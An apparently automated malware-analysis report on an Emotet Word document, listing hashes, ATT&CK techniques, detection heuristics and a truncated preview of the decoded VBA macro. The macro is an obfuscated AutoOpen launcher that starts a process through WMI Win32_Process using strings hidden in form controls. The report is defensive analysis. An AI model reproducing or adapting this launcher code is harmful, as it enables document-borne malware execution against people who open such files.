Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5fe1eb7fe88f2ce4…

MALICIOUS

Office (OLE)

129.3 KB Created: 2019-05-29 21:25:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 8ed59f760fe6ab521605b8314d583bb7 SHA-1: ff6c2ac832bdb70dd21b4c0736a0aacd9ce1e266 SHA-256: 5fe1eb7fe88f2ce4ecf33fdf54f48948e8cc7c3da0a4885ff01e5fe2d49b1933
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, a common technique for Emotet. The macro utilizes CreateObject to launch Win32_Process via WMI, indicating an intent to execute arbitrary code. ClamAV detection further supports the Emotet family attribution. The VBA code appears to be obfuscated, but the core functionality of launching a process is clear.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6501 bytes
SHA-256: 5a3facb95e8891c7ddea38ec674434d29c13ecdc74cba6bd6935cb171d64a74d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ZcNnEdo, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "kww7SAA, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "jmVumU, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   'Debug.Print "w3YcARq" + ("735" + ("ui9FnjIw") + "Frbfkd" + "230") + "jw9fzFBt" + ("vwE8iE") + ("aYYiEE" + "Oa43hCO" + "888" + ("wCL_m2jt") + ("Bv5b5Lt" + ("Hr4Zbzm") + "840" + ("705") + ("iLamIpGj" + ("781"))))
Debug.Print "SOvUhhb0" + ("343" + ("WYPDnu") + "A3L0v1" + "333") + "MFMS6J" + ("iHREZuM") + ("nBWEBWV" + "GKQ_iMP" + "139" + ("G3jO6Z") + ("u7mI0aU" + ("wNNu3f") + "394" + ("31") + ("ioF1Q_8" + ("430"))))
j2vz2Xz
   'Debug.Print "kqvunvj" + ("869" + ("ujYzXXjz") + "IzbUvmj" + "3") + "qks5w3Z" + ("u6KztGqw") + ("F6Wifb6P" + "AMjNkBT3" + "500" + ("wPBztA_") + ("Ez2Bir" + ("Lc5m0R") + "781" + ("693") + ("LszzTsdJ" + ("664"))))
Debug.Print "nb7iN6M" + ("343" + ("ujNoCH5_") + "GXDwAb" + "265") + "dZBHcc" + ("DvXkWzRU") + ("IQkkJrF" + "TJiworM" + "968" + ("XwMBJzOl") + ("dzb33GPk" + ("RB7Doz") + "534" + ("990") + ("I2_dqw9O" + ("426"))))
End Sub


Attribute VB_Name = "zRkkXZ1H"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "str6Z3Ms"

Attribute VB_Name = "YBOpFbj9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CII3CH"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lVr36URi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "DjjSCQ9r"
Function j2vz2Xz()
   'Debug.Print "zorNS4" + ("758" + ("wuLMYOn") + "PE9EYEM" + "666") + "lAS5ZwjD" + ("rWlUJFz") + ("LWUp9GLE" + "jBnW1f" + "561" + ("oYzLl7u8") + ("wSRY1Sk" + ("RzOurwZ") + "418" + ("217") + ("qkZ8CbZK" + ("715"))))
Debug.Print "Isb89V" + ("629" + ("MGOVDi") + "TMfj8t" + "812") + "RWZ5ZqlH" + ("Pv2Dza8") + ("SE5iwRzj" + "L_nlDBRY" + "161" + ("jObCWXh") + ("EAMG0zb4" + ("jKWZZhq") + "157" + ("786") + ("CzrRu2c" + ("448"))))
LDG3FL = ThisDocument.kww7SAA + ThisDocument.jmVumU + ThisDocument.ZcNnEdo
   'Debug.Print "ARsXQl0" + ("516" + ("XcA2whqM") + "n0Cwz8" + "581") + "C1jfPLc" + ("P3Jwbm") + ("BiKM_U" + "pBP5lT" + "9" + ("nB48vq") + ("a5w80h" + ("n7BTUD") + "500" + ("996") + ("HMik_2p" + ("773"))))
Debug.Print "jEQ42Hi" + ("435" + ("qfzqzY") + "jsh4rT" + "521") + "w68RN21" + ("iJdMkEO8") + ("T4vl4iF" + "pX9Wum" + "543" + ("Blo_HHu1") + ("Gdpuq3u" + ("QEwH4z") + "758" + ("326") + ("mlBiZ7CA" + ("392"))))
CreateObject(("winmg" _
+ "mts:Win" + _
"32_Process")).Create# LDG3FL, Czl1lInR, rksq5icm, wWNvOivN
   'Debug.Print "FmvNRalm" + ("133" + ("IdtmCMz") + "n5wpGh3" + "567") + "fiKquNP" + ("QFQqkCi") + ("HqBJZj" + "sGHujB" + "679" + ("CAw_Ywl") + ("WfNMmm6z" + ("XcIosh") + "373" + ("144") + ("nDkBG_i1" + ("93"))))
Debug.Print "WwaFd_pi" + ("508" + ("faMB6WFc") + "FrOW7MG" + "620") + "kpYBrt" + ("ctp03_") + ("qEEHun" + "QFLthz" + "558" + ("nE8BLUM") + ("vT_IzP5w" + ("cAVE7K") + "696" + ("611") + ("kwKwlH6j" + 
... (truncated)

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